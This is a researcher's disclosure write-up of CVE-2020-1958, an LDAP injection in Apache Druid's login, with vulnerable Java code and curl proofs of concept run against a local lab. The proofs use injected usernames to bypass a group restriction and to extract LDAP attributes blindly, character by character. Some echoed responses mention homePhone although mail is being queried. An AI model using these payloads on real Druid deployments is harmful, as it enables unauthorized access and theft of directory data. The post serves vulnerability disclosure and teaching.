I’ve recently created a CodeQL query that detects LDAP injection vulnerabilities in Java code. I’ve done it in scope of GitHub Security Lab bug bounty program and it was accepted, added to the list of default queries and executed on all LGTM projects (and I was awarded a $3000 bounty by GitHub Security Lab).
Once the query was executed on all LGTM projects, I took a look at the results. The query flagged about a dozen of projects (excluding OWASP Benchmark, which is deliberately vulnerable). Not all of the detected issues were exploitable, but I was able to exploit and report the following:
- CVE-2020-1958 in Apache Druid: a high performance real-time analytics database
- CVE-2020-9495 in Apache Archiva: a highly modular system for providing fine grained role based authorization to both data and metadata stored on an Apache Hadoop cluster
- CVE-2020-5246 in Traccar: a GPS Tracking System
- CVE-2020-5281 in Perun: an Identity and Access Management System
- MOSIP: Modular Open Source Identity Platform - vulnerability fixed and released, but no CVE ID assigned yet
In this post I’m going to provide some more details about the first one, CVE-2020-1958 in Apache Druid.
CVE-2020-1958: LDAP injection in Apache Druid
Apache Druid is a high performance real-time analytics database. It supports LDAP-based authentication via druid-basic-security
extension and this functionality was vulnerable to LDAP injection.
If LDAP-based authentication is enabled, Apache Druid first searches for the given user in LDAP directory. It uses a pre-configured user search filter template for this. If the user exists in LDAP, its cn
and provided password are used to bind (authenticate) to the LDAP server. If it succeeds, the user is authenticated. Otherwise, an error is returned. If the user doesn’t exist in LDAP, a different error is returned (this will be important later on during the exploitation).
The code (with not relevant lines removed) looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public AuthenticationResult validateCredentials(String username, char[] password) {
SearchResult userResult;
LdapName userDn;
InitialDirContext dirContext = new InitialDirContext(bindProperties(this.ldapConfig));
userResult = getLdapUserObject(this.ldapConfig, dirContext, username);
if (userResult == null) {
LOG.debug("User not found: %s", username);
return null;
}
userDn = new LdapName(userResult.getNameInNamespace());
if (!validatePassword(this.ldapConfig, userDn, password)) {
LOG.debug("Password incorrect for LDAP user %s", username);
throw new BasicSecurityAuthenticationException("User LDAP authentication failed username[%s].", userDn.toString());
}
}
SearchResult getLdapUserObject(BasicAuthLDAPConfig ldapConfig, DirContext context, String username) {
SearchControls sc = new SearchControls();
sc.setSearchScope(SearchControls.SUBTREE_SCOPE);
sc.setReturningAttributes(new String[] {ldapConfig.getUserAttribute(), "memberOf" });
NamingEnumeration<SearchResult> results = context.search(
ldapConfig.getBaseDn(),
StringUtils.format(ldapConfig.getUserSearch(), username),
sc);
if (!results.hasMore()) {
return null;
}
return results.next();
}
The key lines:
Line 25:
This is where the actual LDAP injection occurs. The LDAP user search filter is created by putting the user supplied username
into the pre-configured template (ldapConfig.getUserSearch()
). If the template is (&(uid=%s)(memberof=cn=users,dc=example,dc=org))
and we provide user
as the username
, the search filter will be (&(uid=user)(memberof=cn=users,dc=example,dc=org))
, which is fine. But if we provide user)(uid=*))(|(uid=*
as the username
, the search filter will be (&(uid=user)(uid=*))(|(uid=*)(memberof=cn=users,dc=example,dc=org))
. These are actually two filters ((&(uid=user)(uid=*))
and (|(uid=*)(memberof=cn=users,dc=example,dc=org))
), but in most (all?) cases only the first one is executed.
Lines 9 and 15:
If the user doesn’t exist in LDAP (the LDAP search from line 23 hasn’t returned any result), null
is returned (line 9). However, if the user exists (the LDAP search from line 23 has returned at least one result), but the password is incorrect, BasicSecurityAuthenticationException
is thrown (line 15). The client can distinguish between these two cases, which will be important during the exploitation.
As we can clearly see, we can modify the original LDAP search filter logic by sending specially crafted username
(e.g. in Authorization
HTTP header). That’s the theory. Let’s see how we can exploit this vulnerability.
PoC 1: Unauthorized access
I’ve setup an LDAP server with two user groups for this exercise: cn=users,dc=example,dc=org
and cn=admins,dc=example,dc=org
. user1
, user2
, user3
, etc. are members of the first group. admin1
, admin2
, admin3
, etc. are members of the second group.
I’ve also setup Apache Druid on http://127.0.0.1:8888
and configured the user search filter template so that only users belonging to cn=users,dc=example,dc=org
group can log in: (&(uid=%s)(memberof=cn=users,dc=example,dc=org))
.
When I try to access Druid as admin1
, the request is rejected:
$ curl -i -u 'admin1:admin1' http://127.0.0.1:8888/druid/coordinator/v1/isLeader
HTTP/1.1 401 Unauthorized
Date: Sun, 22 Mar 2020 15:55:51 GMT
Cache-Control: must-revalidate,no-cache,no-store
Content-Type: text/html;charset=iso-8859-1
Content-Length: 352
Server: Jetty(9.4.12.v20180830)
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Error 401 Unauthorized</title>
</head>
<body><h2>HTTP ERROR 401</h2>
<p>Problem accessing /druid/coordinator/v1/isLeader. Reason:
<pre> Unauthorized</pre></p><hr><a href="http://eclipse.org/jetty">Powered by Jetty:// 9.4.12.v20180830</a><hr/>
</body>
</html>
That’s expected because Druid is configured to allow only members of users
group to log in. But when I use admin1)(uid=*))(|(uid=*
as the username and the valid admin1
’s password, the access is granted:
$ curl -i -u 'admin1)(uid=*))(|(uid=*:admin1' http://127.0.0.1:8888/druid/coordinator/v1/isLeader
HTTP/1.1 200 OK
Date: Sun, 22 Mar 2020 15:55:36 GMT
Date: Sun, 22 Mar 2020 15:55:36 GMT
Content-Type: application/json
Vary: Accept-Encoding, User-Agent
Server: Jetty(9.4.12.v20180830)
Content-Length: 15
{"leader":true}
That’s because the user search filter was (&(uid=admin1)(uid=*))(|(uid=*)(memberof=cn=users,dc=example,dc=org))
in this case. That’s actually 2 filters: (&(uid=admin1)(uid=*))
and (|(uid=*)(memberof=cn=users,dc=example,dc=org))
. Only the first one, which searches for an entry with uid=admin1
regardless of group membership, is evaluated.
PoC 2: Information disclosure
It’s possible to retrieve any attribute value of any user from the LDAP server integrated into the vulnerable Apache Druid instance. No authentication is needed. Blind LDAP injection technique can be used to do this.
The LDAP authentication has 2 steps. First, the LDAP query with provided username included in the user search filter is executed. If no entry is found, the error is sent back to the client. If an entry is found, it’s used to bind (authenticate) to the LDAP server (along with the password provided in the request). If this bind request isn’t successful, a different error is returned to the client. What is important here is that the client can distinguish between the search query returning 0 entries and failed LDAP bind request (search query returning at least one entry).
In this PoC, I’ll show how to retrieve the mail
attribute value of admin1
user.
As stated above, the client can distinguish whether the search query has returned something or not. Let’s see two examples:
$ curl -i -u '*)(uid=*))(|(uid=*:doesnt_matter' http://127.0.0.1:8888/druid/coordinator/v1/isLeader
HTTP/1.1 401 User authentication failed username[*)(uid=*))(|(uid].
$ curl -i -u 'uid_which_doesnt_exist_for_sure)(uid=*))(|(uid=*:doesnt_matter' http://127.0.0.1:8888/druid/coordinator/v1/isLeader
HTTP/1.1 401 Unauthorized
In the first example, the search filter was (&(uid=*)(uid=*))(|(uid=*)(memberof=cn=users,dc=example,dc=org))
. It’s actually two filters and only the first one ((&(uid=*)(uid=*))
) has been used. The LDAP query with such filter always returns some entries (because of uid=*
), hence we know that the response HTTP/1.1 401 User authentication failed username[{some_username}].
indicates the successful execution of the user search query.
In the second example, the relevant filter was (&(uid=uid_which_doesnt_exist_for_sure)(uid=*))
. This filter never returns any entry (assuming that the user with uid uid_which_doesnt_exist_for_sure
doesn’t exist), hence we know that the response HTTP/1.1 401 Unauthorized
indicates that the query hasn’t returned any entry.
OK, let’s get back to the exfiltration of the mail
attribute value of admin1
user. I’m going to do this character-by-character by sending requests starting from the most wide ones (mail=a*
, mail=b*
, etc.) and gradually making them more precise (mail=aa*
, mail=ab*
, mail=ac*
, mail=aca*
, mail=acb*
, etc.). First, I’ll check if the first character of mail
attribute value is a
. Therefore, I’ll include mail=a*
in the search filter:
$ curl -i -u 'admin1)(mail=a*))(|(uid=*:doesnt_matter' http://127.0.0.1:8888/druid/coordinator/v1/isLeader
HTTP/1.1 401 User authentication failed username[admin1)(homePhone=1*))(|(uid=*].
I got 401 User authentication failed username[...]
error, which means that the search query has returned at least 1 entry. The relevant part of the search filter was (&(uid=admin1)(mail=a*))
hence we know that there’s an entry with uid=admin1
and mail=a*
in the LDAP directory. In other words, we know that admin1
’s email address starts with a
.
Next, I’ll check if the 2nd character is a
(mail=aa*
in the search filter):
$ curl -i -u 'admin1)(mail=aa*))(|(uid=*:doesnt_matter' http://127.0.0.1:8888/druid/coordinator/v1/isLeader
HTTP/1.1 401 Unauthorized
It isn’t. I got the 401 Unauthorized
error, which means that the search query hasn’t returned anything.
I repeated this for b
(mail=ab*
) and c
(mail=ac*
) without success. Then I tried d
(mail=ad*
):
$ curl -i -u 'admin1)(mail=ad*))(|(uid=*:doesnt_matter' http://127.0.0.1:8888/druid/coordinator/v1/isLeader
HTTP/1.1 401 User authentication failed username[admin1)(homePhone=12*))(|(uid=*].
It’s worked (see the error). I followed the same steps to fetch the remaining characters.
I also wrote a script that can be used to enumerate users in LDAP server integrated to Apache Druid and to fetch the value of any LDAP attribute of the specified user. Please also refer to the GitHub repo for more details about PoC setup.
Enumerating users
$ ./poc.py --url http://127.0.0.1:8888/
[INFO] Enumerating users from http://127.0.0.1:8888/
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
Retrieving LDAP attributes’ values of admin1
user
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
admin1@example.com
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
admin1
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
last